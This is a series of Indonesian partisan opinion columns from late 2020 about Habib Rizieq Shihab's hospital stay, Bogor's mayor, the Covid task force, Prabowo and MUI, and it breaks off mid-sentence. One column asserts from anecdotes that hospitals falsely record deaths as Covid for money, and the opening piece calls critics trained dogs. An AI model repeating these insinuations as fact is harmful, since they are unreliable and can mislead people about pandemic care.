sudah cukuplah penjelasan Ente. Sekarang, tolong terangkan mengapa Ente bilang wajar saja Habib kabur dari RS. Tentang mengapa tidak masalah kalau para buzzer dan pembenci ulama mengunakan istilah “kabur” untuk proses kepulangan Habib dari RS, begini uraiannya. Habib terpaksa kabur karena beliau melihat di luar RS banyak sekali anjing galak. Ukuran besar-besar semua. Tegap dan kekar. Ada jenis pitbull terrier, German Shepherd, dan ada Belgian Malinois. Kemudian ada jenis Bloodhound, Dutch Shepherd, dlsb. Semua anjing-ajing galak yang menunggu di luar RS itu sangat terlatih untuk mencederai Habib. Anjing-anjing buas itu dikerahkan ke lokasi hanya untuk mengeroyok Habib. Jadi, masuk akal ‘kan Habib terpaksa "kabur" dari RS. Cuma, Habib ternyata tak bisa kabur dari anjing-anjing yang khusus dilatih untuk membenci, menghina, dan mengolok-olok ulama. Mereka ditugaskan untuk menggonggong di dunia maya. Mereka dilatih untuk mengubah narasi kepulangan Habib dari RS “dengan kemauan sendiri” menjadi “kabur”. Begitulah dahsyatnya anjing-anjing yang dilatih dan diberi makan oleh tuan-tuan mereka.[] (Penulis bukan orang FPI)

Habib Rizieq Shihab Lebih Menakutkan Dari Covid-19

by Hersubeno Arief Jakarta FNN - Senin (30/11). Bagi Presiden Jokowi, Imam Besar Front Pembela Islam (FPI) Habib Rizieq Shihab (HRS) tampaknya jauh lebih menakutkan dibanding Covid-19. Sejauh ini, korban yang terpapar Covid-19 sudah melampaui angka 500 ribu orang. Meninggal dunia di atas angka 16 ribu. Belum ada satupun pejabat yang dipecat. Menteri Kesehatan Terawan juga bisa dengan anteng duduk di jabatannya. Padahal ucapan maupun kebijakannya, berkali-kali blunder. Sebaliknya, hanya beberapa hari setelah HRS kembali ke Indonesia, dua pejabat tinggi kepolisian dipecat. Kapolda Metro Jaya Irjen Pol Nana Sujana, dan Kapolda Jawa Barat Irjen Pol Rudi Sufahriadi dicopot dari jabatannya. Mereka dinilai gagal mencegah adanya kerumunan massa. Sejumlah perwira menengah Polri pada posisi Kapolres juga dirotasi. Panglima TNI Marsekal Hadi Tjahjanto tengah malam mengumpulkan para panglima dan komandan pasukan tempur. Menggelar press breifing, nyampaikan ancaman untuk kelompok-kelopok yang memecah persatuan dan kesatuan bangsa. Tak hanya berhenti sampai disitu. Panglima TNI melakukan sidak ke markas Pasukan Khusus dari ketiga angkatan TNI. Semacam show of force kepada musuh negara. Rombongan kendaraan taktis Pasukan Komando Operasi Khusus (Koopsus), tiba-tiba berhenti tak jauh dari pintu masuk markas FPI di Petamburan, Jakarta Pusat. Pangdam Jaya Mayjen TNI Dudung Abdurachman bertindak cepat. Memerintahkan prajurit Kodam Jaya mencopoti baliho ucapan selamat datang HRS. Dia tak mau ketiban apes dicopot seperti koleganya di kepolisian. Sejauh ini jabatan Dudung aman. Dia dinilai berani pasang badan. Termasuk soal wacana pembubaran FPI. Tak kalah sigap, Mendagri Tito Karnavian segera menerbitkan instruksi (Inmen). Para kepala daerah, mulai Gubernur sampai Bupati dan Walikota bisa dicopot dari jabatannya bila tidak menegakkan protokol Kesehatan dan penanggulangan Covid. Gubernur DKI Anies Baswedan dipanggil polisi, untuk klarifikasi akibat kerumunan massa yang sangat besar pada acara Maulid Nabi, dan pernikahan putri HRS. Gubernur Jabar Ridwan Kamil juga dipanggil polisi. Dia diklarifikasi adanya kerumunan pada acara Maulid Nabi di pesantren milik HRS, di kawasan Mega Mendung, Bogor. Semua instansi pemerintah tiba-tiba bergerak sangat sigap. Seolah adu unjuk kerja ke Jokowi. Sampai-sampai Walikota Bogor Bima Arya Sugianto bertindak over-acting. Mengancam dan melaporkan rumah sakit UMMI tempat HRS dirawat dan menjalani swab. Paling ditakuti Berbagai kehebohan itu menunjukkan betapa besarnya pengaruh HRS. Tidak berlebihan bila wartawan asing John McBeth menulis sebuah artikel di laman Asiatime dengan judul yang sangat provokatif. “The Islamic Cleric Who Widodo Fears the Most.” Ulama yang paling ditakuti oleh Presiden Jokowi! Belum pernah dalam 9 bulan terakhir masa pandemi, pemerintah mengerahkan begitu besar sumber dayanya. Mulai dari TNI, Polri, kementerian dalam negeri, dan berbagai sumber daya lain yang tidak kasat mata. Pesan yang sampai ke publik, justru pemerintah seperti kebingungan menghadapi pandemi. Ada perasaan mendua yang bercampur. Mixed Felling. Antara mengutamakan kesehatan, atau mempertahankan ekonomi.Aspek kesehatan seperti kita sudah saksikan dikalahkan oleh kepentingan ekonomi. Pada kasus HRS, instruksi Jokowi sangat tegas dan jelas. Mulai dari Kapolri, Panglima TNI, sampai Mendagri harus bertindak tegas. Bersatu padu menghadapi HRS. Penanggulangan dan penegakkan protokol kesehatan jadi argumen. Skenario yang disiapkan sangat jelas dan terbuka. Penolakan HRS untuk membuka hasil swab di RS UMMI menjadi pintu masuk. Menko Polhukam Mahfud MD bahkan sampai harus menggelar konperensi pers bersama Ketua Satgas Covid-19 Doni Monardo dan pejabat dari Depkes. Secara tegas Mahfud menyebut ada ketentuan pidana yang bisa diterapkan bila HRS menolak bekerja sama. Bersamaan dengan itu polisi juga telah melayangkan surat panggilan. HRS akan diperiksa Polda Metro Jaya Selasa (01/12) berkaitan dengan kerumunan massa di Petamburan. Dalam surat panggilan disebutkan soal adanya dugaan tindak pidana penghasutan, dan menghalang-halangi penyelenggaraan kekarantinaan kesehatan. Melihat besarnya penyambutan HRS di Bandara, kali ini pemerintah pasti tidak ingin kembali kecolongan. Para pejabat Polri dan TNI tak mau lagi kehilangan jabatan. Pemeriksaan HRS oleh Polda diperkirakan akan menarik bagi para pendukungnya untuk memberi dukungan. Semua pasti sudah diantisipasi. End. Penulis warrawa senior FNN.co.id

Penguasa Baru Itu Bernama Satgas Covid 19

by M Rizal Fadillah Bandung FNN – Senin (30/11). Kasus Ketua Satgas Penanganan Covid 19 Bima Arya yang Walikota Bogor menunjukkan watak arogansi dan kesombongannya. Bima melaporkan Direktur Rumah Sakit UMMI Bogor ke Polisi. Menurut Bima Arya, Rumah Sakit UMMI tidak terbuka dalam menyampaikan prosedur dan hasil test swab atas Habib Rizieq Shihab (HRS) yang dirawat di RS UMMI Bogor. Rumah Sakit dan dokter tentu punya aturan dan kode etik sendiri mengenai pasiennya. Sehingga apa yang dilakukan tentu dengan dasar dan pertimbangan medis. Bukan pertimbangan non medis. Sikap seenaknya saja main lapor adalah cermin keangkuhan seorang pejabat. Bahkan prilaku Bima Arya dinilai sarat akan muatan politis. Politisasi masalah kesehatan. Walikota Bima Arya semestinya dilaporkan juga oleh Ikatan Dokter Indonesia (IDI) atau pihak Rumah Sakit UMMI ke pihak Kepolisian. Bima Arya bisa saja dituduh mau mengacak-acak aturan dan kode etik yang sudah baku, dan berlaku di dunia kedokteran selama ini. Dokter berhak untuk tidak menyampaikan hasil pemeriksaan dan data pasien kepada publik. Satgas Covid kini adalah raja atau penguasa baru. Dimana-mana urusan ditentukan oleh Satgas. Tidak bakal keluar izin tanpa rekomendasi Satgas atau Gugus Tugas (Gutas). Jadi teringat ketika Koalisi Aksi Menyelamatkan Indonesia (KAMI) Jawa Barat (Jabar) akan mengadakan Deklarasi. Ketika itu, semua persyaratan izin sudah selesai dipenuhi. Bahkan hotel pun telah dibayar. Namun gagal untuk melakukan deklarasi KAMI Jabar di tempat yang telah dicantumkan dalam pengumuman hanya karena Gugus Tugas membatalkan rekomendasi. Seenaknya saja. Sesuka hati saja. Apa dasar hukum kekuasaan Satuan Tugas Penanganan Covid 19, sehingga menjadi raja diraja. Satgas menjadi penentu dari segala aktivitas kehidupan bermasyarakat saat ini. Padahal soal pandemi Covid 19, semua masyarakat sudah tahu dan memahami situasinya, karena sudah berlansung hampir sembilan bulan. Tragisnya, Satgas Covid 19 dijadikan alat oleh rezim sekarang ini sebagai penguasa baru untuk menghambat dan menghalangi kegiatan masyarakat sipil (civil society) yang dianggap oposisi. Situasi pandemi Covid 19 tidak boleh dijadikan sebagai legitimasi bagi Satgas Penanganan Covid 19, sehingga memiliki kewenangan yang tidak terbatas (extra ordinary). Kewenangan untuk menyatakan seseorang atau sekelompok orang melakukan perbuatan pidana lalu dengan semaunya, sehingga melaporkan ke pihak kepolisian. Bisa terjadi penyalaggunaan kekuasaan. Indonesia ini negara hukum. Bukan negara Satgas, pak Bima Arya. Jika Direktur Rumah Sakit atau Dokter diproses hukum atas dasar alasan tidak membuka rahasia pasien, maka betapa banyak kelak korban akan berjatuhan. Semestinya jika dinilai ada kekeliruan, maka kepada lembaga profesi seperti IDI pengaduan disampaikan. Baru setelah ada kejelasan menurut kompetensi medis, maka diputuskan dapat atau tidaknya berlanjut ke ranah hukum melalui Kepolisian. UU Kekarantinaan Kesehatan dilaksanakan penuh dengan multi tafsir. Ketika pilihan kebijakan adalah Pembatasan Sosial Berskala Besar (PSBB), dan bukan Karantina Nasional, maka ada tidaknya sanksi pidana masih diperdebatkan di kalangan ahli hukum. Demikian juga soal test swab tentang kewajiban rakyat atau pasien membuka informasi, itupun perlu penjelasan dan aturan yang jelas. Demikian juga kewenangan Satgas yang berada di ruang administrasi atau hukum. Menjadi sama dengan aparat keamanan kah atau berstatus sebagai "Polisi Kesehatan"? Sebab, yang jelas UU No 44 tahun 2004 tentang Rumah Sakit mengatur adanya hak pasien untuk mendapatkan privasi dan kerahasiaan penyakit yang diderita beserta data-data medisnya. Kacau negara ini jika seenaknya memberi kewenangan tanpa dasar hukum yang jelas. Pandemi Covid 19 tak boleh menjadi alat untuk merampok uang negara, atau menghukum sewenang-wenang seseorang atau institusi hanya dengan tafsir sepihak saja. Pak Bima Arya yang terhormat, kembali lagi dipertegas bahwa Indonesia ini menurut Konstitusi adalah Negara Hukum (Rechstaat). Bukan Negara Kekuasaan (Machstaat). Apalagi Negara Satgas (Satgasstaat)! Penulis adalah Pemerhati Politik dan Hukum.

Nguber HRS, Bima Arya Berharap Masuk Kabinet?

by Tony Rosyid Jakarat FNN – Senin (30/11). Tiga hari bekalangan ini, nama Walikota Bogor Bima Arya jadi pembicaraan hangat di publik. Pasalnya, Sang Wali Kota lagi nguber Habib Rizieq Shihab (HRS) terkait hasil tes swabnya di Rumah Sakit Ummi Bogor. Nggak dapat hasil tes swab itu, Bima Arya hendak melaporkan pihak rumah sakit Ummi Bogor ke polisi. Tuduhannya? Rumah sakit dianggap tak transparan. Lho, apa kepentingan Bima Arya harus mengetahui hasil tes swab HRS? Emangnya hasil tes swab petinggi negara seperti Presiden Jokowi, Ibu Negara Iriana, dan para menteri juga dibuka ke publik untuk diketahuai masyaralat luas? Kenapa Bima Arya ngebet untuk kejar Habib Rizieq? Ini menarik untuk ditelusuri. Sebab, semangat memburu hasil swab oleh publik dianggap aneh bin ajaib. Ngapain kelas Walikota ngurusin hasil swab Habib Rizieq? Kenapa tidak ngurusin saja hasil swab warga dan masysarakat Bogor lainnya? Sebaliknya, kapada lima anak buah Pegawai Negeri Sipil (PNS) Kota Bogor yang korupsi Rp 17,2 miliar dana Bantuan Operasional Sekolah (BOS), Sang Wali Kota Bima Arya malah minta untuk penangguhan penahanan. Yang jelas-jelas melakukan tindak pidana korupsi malah dibelain. Sementara yang tes kesehatan diuber-uber. Publik menilai, apa yang dilakukan Wali Kota ini aneh saja! Publik jadi bertanya-tanya. Apakah ini murni inisiatif dan berasal dari rasa ingin tahu Walikota Bogor saja? Atau ada pihak lain di belakang Bina Arya yang berkepentingan terhadap hasil swab Habib Rizieq? Atau Bima Arya memang lagi caru muka kepada istana negara, karena berharap bisa masuk dalam anggota kabinet Jokowi yang akan dilakukan peromabakan dalam waktu dekat? Masuk pada pertanyaan normatif, apa ada keharusan bagi pasien untuk memberi tahu hasil tes swabnya kepada Kepala Daerahnya? Ada-ada saja prilaku aneh Walikota Bima Arya. Jangan panik gitu dong Pak Walikota. Kalau bernasip baik, ya masuk kabinet. Kalau belom reziki ya sabat sajalah. Kalau Habib Rizieq di rumah pribadi, ada interaksi dan berkerumun bersama warga yang lain, maka Walikota punya kewenangan untuk meminta yang bersangkutan melakukan a, b, c, dan seterusnya. Ini memang tugas Walikota sebagai pamong Tetapi, kalau Habib Rizieq berada di dalam sebuah Rumah Sakit, dimana Habib dalam pengawasan dokter, maka mau dites suhu, mau di-USG, mau di-CT Scan, mau di-Swab, itu semua urusan dokter dan tim medis di Rumah Sakit. Nggak ada urusannya dengan Walikota Pak Bima Arya. Keputusan medis itu urusan dokter. Bukan urusannya Walikota. Keputusan medis yang menjadi urusan dokter rumah sakit itu diatur dengan Peraturan Menteri Kesehatan (Permenkes), kode etik Ikatan Dokter Indonesia (IDI) dan lain-lain. Nah, pemeriksaan pasien itu keputusan medis, bukan keputusan politis Pak Bima Arya. Walikota, Camat, Gubernur dan jajaran pemerintahan yang lain tidak punya kewenangan mencampuri urusan medis dan hasil pemeriksaan dokter. Tidak boleh ikut-ikutan dalam keputusan medis ini dan itu. Itu dengan otoritas urusannya rumah sakit. Masa Pak Bima Arya nggak ngerti juga? Perlu Bima Arya harap tahu, kalau yang ini adalah pemahaman amat dasar soal otoritas. Mosok nggak paham juga sih. Payah amat sih Pak Bima Arya. Apa yang dilakukan Bima Arya sebagai Walikota Bogor dianggap melampaui batas otoritasnya. Over laping. Walikota Bogor perlu belajar lagi tentang etika kedokteran, kata MER-C. Wajar jika publik bertanya, ada maksud apa dibalik upaya Bima Arya memburu hasil swab Habib Rizieq? Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

HRS Menolak Karena Tak Percaya RS dan Instansi Kesehatan

by Asyari Usman Medan FNN - Senin (30/11). Para penguasa kelihatannya gagal paham mengapa Habib Rizieq Syihab (HRS) enggan berurusan dengan sembarang rumah sakit (RS) dan instansi kesehatan pemerintah. Yang menjadi masalah ialah bahwa Imam Besar itu tidak percaya pada cara kebanyakan RS menangani pasien biasa dan pasien yang menyandang gejala Corona maupun yang dinyatakan positif setelah dites swab (PCR). Itulah yang terjadi ketika HRS masuk ke RS Ummi di Bogor. Habib lebih suka dirawat RS Ummi yang telah dikenalnya sejak lama. Habib dan keluarganya selalu datang ke situ untuk urusan medis. Soal kepercayaan pula yang menyebabkan Habib memilih tim medis Mer-C untuk tes swab. Pantaskah Habib tidak percaya? Sangat wajar. Sebab, masyarakat luas pun sudah tidak percaya pada RS. Semua RS. Diduga, banyak kematian non-Covid dikatakan Covid oleh pihak RS. Ketidakpercayaan masyarakat itu terjadi di seluruh Indonesia. Kita pernah mendengar atau membaca berita tentang keributan antara keluarga pasien yang mengambil paksa jenazah anggota keluarga karena mereka tidak yakin si pasien meninggal karena Covid. Ada kejadian di Situbondo, akhir Agustus 2020. Keluarga jenazah perempuan berusia 71 tahun tidak yakin dia meninggal karena Covid. Si wanita punya riwayat asma. Ini yang dipercaya keluarga. Lagi pula, dia baru 3 jam dirawat di RS langsung meninggal. Di Jambi, awal September 2020, ayah dari anak laki-laki 6 tahun yang meninggal dunia di satu RS, dibawa pulang paksa. Keluarga tak sabar menunggu hasil tes swab. Mereka tak percaya pada hasil tes awal yang dinyatakan “reaktif”. Di Makassar, awal Juli 2020, keluarga pasien berusia 55 tahun mengambil paksa jenazah laki-laki itu. Mereka tak percaya pria itu meninggal karena Covid. Mereka mengatakan, pasien mengidap penyakit maag akut. Dan RS tidak bisa meyakinkan bahwa pasien meninggal karena Civid-19. Masih di Makassar, awal Juli 2020 juga, keluarga pasien laki-laki hendak menjeput paksa jenazahnya. Mereka tidak yakin pasien berstatus PDP itu meninggal karena virus Corona. Mereka menolak dikuburkan dengan protocol Covid. Setidaknya ada tiga kejadian serupa di Makassar yang semuanya terkait dengan ketidakpercayaan keluarga bahwa sanak-saudara mereka meninggal karena Covid-19. Di Manado, awal Juni 2020, terjadi kericuhan antara keluarga pasien pria 52 tahun yang mengidap penyakit pneumonia. RS menyatakan dia meninggal karena Covid. Tetapi, keluarga tidak percaya. Bahkan, pihak RS dituduh menyogok keluarga untuk menyatakan pasien sebagai penderita Covid-19. Ketidakpercayaan masyarakat terhadap semua RS di masa wabah Covid-19 ini sangat serius. Krisis kepercayaan itu begitu dalam. Banyak beredar cerita tentang akal-akalan pihak rumah sakit untuk meng-covid-kan pasien yang tidak menyandang gejala virus Corona. Sekarang, saya sendiri punya dua cerita tentang kematian yang sangat sarat dengan kecerobohan penetapan Covid. Keduanya berfamili dengan saya. Pertama, seorang dosen universitas negeri di Medan. Berusia sekitar 62 tahun. Dia pengidap diabetes. Entah bagaimana, dosen ini dinyatakan positif Covid. Sanak-familinya tidak percaya. Cuma, mereka tak berdaya karena sudah dinyatakan positif oleh RS. Jenazah langsung ditangani “heavy-handed” oleh Satgas Covid. Kedua, teman sekaligus saudara dekat saya. Dia seorang dokter di Medan. Usianya 65 tahun. Meninggal sekitar tiga minggu lalu. Teman saya ini juga menderita diabetes. Suatu hari dia harus dirawat di RS karena kadar gula darahnya turun drastis. Ketika dites sewaktu masuk RS, hasilnya negatif. Tes kedua juga negatif. Entah apa yang terjadi, si dokter ini meninggal. Warga di sekitar kediaman beliau setuju jenazah dikebumikan di pekuburan umum di situ. Warga tahu peris tentang si dokter ini. Warga tak percaya dia tertular Covid. Bahkan, lurah setempat mengeluarkan surat persetujuan untuk dikuburkan sebagaimana keinginan keluarga dan warga. Namun, Satgas Covid berkeras untuk mengebumikan jenazah di pekuburan khusus Covid. Keluarganya juga tidak percaya kesimpulan RS bahwa almarhum positif Corona. Itulah antara lain cuplikan tentang ketidakpercayaan publik terhadap RS dan instansi kesehatan pemerintah, termasuk Satgas Covid-19. Isu ini diakui sendiri oleh Kepala Staf Presiden, Moeldoko, dan Gubernur Jawa Tengah Ganjar Pranowo ketika mereka bertemu di Semarang, awal Oktober 2020. Moeldoko mengangkat soal keresahan masyarakat perihal keculasan banyak RS yang menggiring pasien ke Covid. Alias mong-covid-kan pasien untuk mendapatkan dana besar dari pemerintah. Ganjar sendiri menjelaskan tentang kejadian nyata. Kata Ganjar, ada orang yang dinyatakan meninggal karena Covid sebelum hasil tes keluar. Setelah keluar, hasil tesnya negatif. Ini Ganjar yang bilang. Jadi, ketidakpercayaan publik itu bukanlah isapan jempol. Itu terjadi meluas. Kecurigaan terhadap RS sangat tinggi pada masa sekarang ini. Termasuklah rasa was-was Habib Rizieq Syihab terhadap RS selain RS Ummi di Bogor itu. Dan juga bisa dipahami kalau Habib menolak dites swab ulang oleh tim medis resmi pemerintah. Tidaklah adil kalau para pejabat pemerintah mengeluarkan ucapan-ucapan yang hanya memojokkan HRS. Sementara persoalan fundamental di kalangan RS dan Satgas Covid-19 terlihat dibiarkan begitu saja. Tanpa ada pembenahan dan pembinaan yang konkret. HRS berhak tidak mempercayai RS selain RS Ummi Bogor. Beliau berhak pula tidak percaya kepada instansi kesehatan yang dia nilai tidak bekerja profesional, yang rawan sogok-menyogok.[] (Penulis wartawan senior FNN.co.id)

Bertindak Politis, Bima Arya Bagian Dari “Political Web” Istana

by Asyari Usman Medan FNN - Sungguh sangat aneh tindakan Walikota Bogor Bima Arya Sugiarto (BAS) dalam mempersekusi Habib Rizieq Syihab (HRS) yang akhirnya terpaksa keluar dari RS Ummi di Bogor. HRS masuk ke RS swasta itu pada 25/11/2020 karena ingin berobat sambil beristirahat. Mungkin karena masa-masa Covid-19 ini, HRS menjalankan tes swab. Kebetulan dengan bantuan tim medis Mer-C. HRS dan keluarga memang sejak lama menggunakan Mer-C untuk keperluan medis mereka. Keberadaan HRS di RS Ummi sampai ke telinga Bima Arya. Entah karena arahan siapa dan tekanan dari mana, Bima melakukan inspeksi ke RS Ummi. Menyelidiki kondisi Habib. Dan memaksa agar ikut ditangani oleh Dinas Kesehatan setempat. Bima juga mendesak agar HRS sekeluarga dites swab ulang. HRS merasa tidak perlu diulang. Sebab, pemeriksaan awal pihak RS tidak menunjukkan ke arah Covid. Beliau cuma kelelahan saja. Disebabkan aktivitas yang sangat intens sejak tiba kembali di Indonesia pada 10 November. Herannya, tindakan Bima menjadi berlebihan. Dia mengultimatum pimpinan RS Ummi. Kemudian, lewat jalur Satgas Covid Bogor, Bima melaporkan RS itu ke kepolisian Bogor dengan tuduhan menghalang-halangi pencegahan Covid-19. Publik melihat tindakan BA berlebihan terhadap Habib. Dengan alasan semua orang harus mengikuti prosedur penanganan Covid-19. Alasan normatif ini tidak ada masalah. Cuma, ‘acting’ Bima mencolok. Seolah menunjukkan bahwa dia sedang mencari perhatian. Atau, jangan-jangan dia memang telah diberi ‘green light’ untuk mencecar Habib. Ternyata, menurut pengakuan Bima, memang ada pesan WA anonim yang memberitahukan keberadaan HRS di RS Ummi. Ketua DPRD Bogor menyayangkan tindakan Walikota Bima Arya. Tim dokter Habib juga mencela cara-cara Bima. Entah sebab apa, akhirnya walikota dari Partai Amanat Nasional (PAN) itu mengatakan dia akan mencabut pengaduan polisi terkait RS Ummi. Drama singkat yang ‘dibintangi’ Bima ini dikecam netizen. Walikota mengatakan, intervensi yang dia lakukan tidak ada kaitan dengan politik. Di sini, Bima agak konyol. Mengira publik tidak paham apa yang dia lakukan. Bima sendiri yang kelihatan pura-pura tidak tahu bahwa apa pun yang terjadi antara penguasa dan HRS, semuanya berangkat dari terminal politik. Untuk saat ini, apa saja yang terkait dengan Habib, pasti politis sifatnya. Para penguasa tidak bisa pungkiri aspek itu. Bima Arya adalah bagian dari “political web” Istana yang memusuhi Habib Rizieq. Jadi, yang dilakukan oleh Walikota Bogor itu terhadap HRS sederhana saja deskripsinya. Bahwa dia sedang menjalankan ‘tugas politik’ dalam rangka memojokkan dan mendegradasi Habib Rizieq. Itulah motifnya.[] (Penulis wartawan senior FNN.co.id)

Prabowo Undercover

by Asyari Usman Medan FNN - Minggu (29/11). Wuih, ada buku barukah? Hehe. Bukan, kawan. Jangan buru-buru menyangka ada sesuatu yang akan menggemparkan Indonesia. Tapi, melihat dan membaca judul tulisan ini bisa dipahami kalau Anda teringat Bambang Tri Mulyono (BTM), penulis buku “Jokowi Undercover”. Wajar sekali kalau Anda langsung ingat Bambang Tri. Dia menulis buku yang sangat menghebohkan jagad Nusantara, terutama elit politik, sekitar empat tahun lalu. Bambang mendekam di penjara gara-gara buku yang diterbitkan akhir 2016 itu. Buku ini divonis penuh fitnah, dusta, hoax dan penghinaan terhadap Jokowi. Karena isinya panas, buku Jokowi Undercover dikejar dan ditumpas sampai akhirnya hilang dari peredaran. Sekali lagi, “Prabowo Undercover” bukan buku baru. Dan tak ada kaitannya dengan data atau informasi rahasia (undercover) tentang Prabowo. Tempo hari, Bambang Tri memang menuliskan bahan-bahan tentang Jokowi yang dia istilahkan “undercover” (rahasia alias confidential). Judul tulisan kali ini hanya ingin menggambarkan situasi yang sedang dihadapi oleh Prabowo Subianto (PS) menyusul OTT Edhy Prabowo (EP) –yang menjabat sebagai Menteri Kelautan dan Perikanan. Jadi, kita tidak sedang membahas buku panas. Bukan juga pembeberan rahasia Pak PS. Dan tak ada pula maksud untuk memancing kehebohan. Ok. Kalau bukan buku baru, apa itu gerangan Prabowo Undercover? Apa maksudnya? Prabowo Undercover saya artikan dalam konteks yang ringan-ringan saja. Terkait dengan sutuasi politik terkini. Khususnya, situasi pasca-penangkapan Edhy –si kader Golden Boy. Pertama, Prabowo Undercover saya maksudkan bahwa Prabowo sedang “tersungkup”. Kalau ditulis agak ‘nyeleneh’, maka kata “undercover” itu bisa saja dikatakan bentuk singkat dari “under the cover”. Yang arti harfiahnya adalah: “di bawah sungkup”. Kalau begitu, apa yang sedang menyungkup Prabowo? Bisa macam-macam. Saat ini Prabowo sedang tersungkup oleh awan gelap akibat kasus korupsi Edhy. Karena tertutup awan gelap, jarak pandang Prabowo ke depan menjadi pendek. Sebagai contoh, beliau agak kesulitan melihat Pilpres 2024. Karena terlindung awan gelap. Nah, jarak pandang yang pendek tentu sangat berbahaya. Di dunia penerbangan, para pilot memerlukan kelihaian tingkat dewa untuk bisa mendarat dengan selamat kalau jarak pandangnya pendek. Itu pengertian “undercover” yang pertama. Kedua, Prabowo Undercover adalah situasi yang membuat dia “terkepung”. Sedang “dikepung” oleh orang-orang dari faksi pragmatis “mumpungisme” (ajaran mumpung) di lingkungan Gerindra. Mereka adalah tikus-tikus di sekitar Prabowo. Tikusnya banyak. Orang-orang ‘mumpungisme’ inilah yang menjadi awan mendung yang akan menggiring Prabowo dan Gerindra masuk ke comberan politik. Inilah makna kedua Prabowo Undercover. Prabowo yang terkepung oleh para politisi kemaruk dan rakus di Gerindra. Ketiga, Probowo Undercover dalam makna yang sangat singkat. Artinya, Prabowo di bawah perlindungan (undercover). Tidak ada elaborasi. Terserah pemahaman Anda masing-masing. Pokoknya, beliau itu “di bawah perlindungan”. Perlindungan siapa? Silakan diolah sendiri. Sebagai penutup, tidak perlulah Anda mengungkap info rahasia (undercover) tentang Pak Prabowo. Tetapi, kalau ada diantara Anda yang berminat menulis buku “Prabowo Undercover” sungguhan, sebagaimana dulu Bambang Tri menerbitkan “Jokowi Undercover”, tentu boleh-boleh saja. Kita lihat nanti apakah aparat penegak hukum akan memberangus buku itu dan memenjarakan penulisnya.[] (Penulis wartawan senior FNN.co.id)

Menyambut Pengurus Baru MUI, Pesan Buya HAMKA: Ulama Tidak Bisa Dibeli

by Dr. Adian Husaini Lampung FNN - Minggu (29/11). Pada 27 November 2020, Musyawarah Nasional Majelis Ulama Indonesia (MUI) ke-10 telah memilih jajaran pimpinan MUI periode 2020-2025. Semoga para pimpinan MUI dapat mengemban amanah yang berat! MUI adalah lembaga keulamaan dan ketokohan umat Islam yang didirikan oleh pemerintah Orde Baru tahun 1975. Dalam usianya yang ke-45, MUI memiliki peran penting dalam perjalanan sejarah umat Islam Indonesia. Banyak sikap resmi dan fatwa MUI yang memiliki pengaruh besar terhadap umat Islam dan juga pemerintah. Saat ini, MUI adalah satu-satunya lembaga Islam yang diberi kewenangan undang-undang untuk menetapkan fatwa halal suatu produk. Dalam bidang Ekonomi Syariah, fatwa MUI – melalui Dewan Syariah Nasional – dijadikan pegangan resmi oleh otoritas keuangan RI. Karena itulah, ketua umum MUI memiliki kedudukan penting dalam kehidupan kemasyarakatan dan kebangsaan Indonesia. Hampir-hampir, ketua Umum MUI, menempati kedudukan seperti Mufti di beberapa negara. Masuk akal, kita berharap, semoga Munas MUI ke-10 dapat memilih ketua umum yang ideal dalam menghadapi tantangan zaman. Ulama tak dapat dibeli Buya Hamka adalah Ketua Umum MUI pertama. Ia dipilih di saat umat Islam Indonesia sedang menghadapi tantangan berat dalam berbagai bidang kehidupan. Hamka menjabat Ketua Umum MUI mulai 1975 sampai wafat tahun 1981. Kepada para peserta Munas ke-10 MUI, ada baiknya mengingat kembali pesan-pesan Hamka yang disampaikan dalam acara penutupan Munas MUI ke-1 di Jakarta, 27 Juli 1975. Dalam pidatonya, Buya Hamka mengingatkan, bahwa para ulama pengurus MUI adalah penerus perjuangan ulama-ulama terdahulu. Atas ajakan pemerintah untuk berpartisipasi dalam pembangunan, memberikan nasehat kepada pemerintah – diminta atau tidak diminta – dan agar memperteguh Ketahanan Nasional dari segi kerohanian, kata Buya Hamka, “Terbukalah bagi kita yang datang di belakang ini jalan buat meneruskan amal usaha dan jihad.” “Amar ma’ruf nahi munkar adalah pekerjaan yang sungguh-sungguh berat, menyebut mudah, melaksanakannya sangat sukar. Kalau iman tidak kuat gagallah usaha kita,” kata Hamka. Menguraikan makna QS Ali Imran ayat 110, Buya Hamka menyatakan, dalam ayat tersebut, ada tiga unsur kemerdekaan yang jadi syarat mutlak bagi kemuliaan suatu umat. Pertama, kemerdekaan menyatakan pendapat (amar ma’ruf). Kedua, kemerdekaan mengritik yang salah (nahyi munkar). Pada kalimat ma’ruf terkandunglah opini publik. Artinya, pendapat umum yang sehat dan pada kalimat munkar terdapat pula arti penolakan orang banyak atas yang salah. Oleh sebab itu, maka amar ma’ruf nahyi munkar maksudnya ialah membina pemikiran yang sehat dalam masyarakat. Yang ketiga, yang utama, adalah iman kepada Allah. Itulah yang menjadi dasar utama. “Artinya, kalau iman telah berkurang, telah muram, kita tidak berani lagi ber-amar ma’ruf dan lebih tidak berani lagi ber-nahyi munkar. Kalau kita beriman, kita tidak takut ber-amar ma’ruf nahyi munkar,” papar Hamka. Hamka mengibaratkan ulama-ulama yang tergabung dalam MUI laksana “kue bika” yang dipanggang dari atas dan bawah. Dari bawah dinyalakan api. Itulah berbagai keluhan masyarakat terhadap pemerintah. Dari atas dihimpit api pula. Itulah harapan-harapan pemerintah supaya rakyat diinsafkan dengan bahasa rakyat itu sendiri. Jika terlalu berat ke atas, maka putus dari bawah. Itu artinya berhenti jadi ulama yang didukung rakyat. Terlalu berat ke bawah, hilang hubungan dengan pemerintah. Bisa saja pemerintah menuduh ulama tidak berpartisipasi dalam pembangunan. “Memang sangat berat memikul beban ini. Kalau gelar ulama kita terima, padahal perbaikan diri, terutama peningkatan iman tidak kita mulai pada diri kita sendiri, niscaya akan turut hanyutlah kita dalam gelombang zaman sebagai sekarang, dimana orang berkejar-kejaran karena dorongan ambisi mencari dunia, mencari pangkat, mengambil muka kepada orang di atas, menjilat sehingga pernah terdengar suara-suara yang mengatakan: bahwa ulama bisa dibeli,” kata Buya Hamka. Terhadap suara-suara sumbang semacam itu, Buya Hamka menegaskan, “Tidak, bapak-bapak yang tercinta! Ulama sejati waratsatul anbiyaa tidaklah dapat dibeli. Janganlah Tuan salah tafsir. Tidak Saudara! Ulama sejati tidaklah dapat dibeli, sebab sayang sekali, ulama telah lama terjual. Pembelinya ialah Allah.” Hamka mengutip QS at-Taubah ayat 111: “Sesungguhnya Allah telah membeli dari orang-orang yang beriman, jiwa raganya dan harta bendanya, dan akan dibayar dengan sorga.” (Pidato Buya Hamka dimuat dalam buku berjudul “Majelis Ulama Indonesia” terbitan Sekretariat Majelis Ulama Indonesia (MUI) Masjid Agung Al-Azhar Kebayoran Baru Jakarta Selatan (1976). Terakhir, 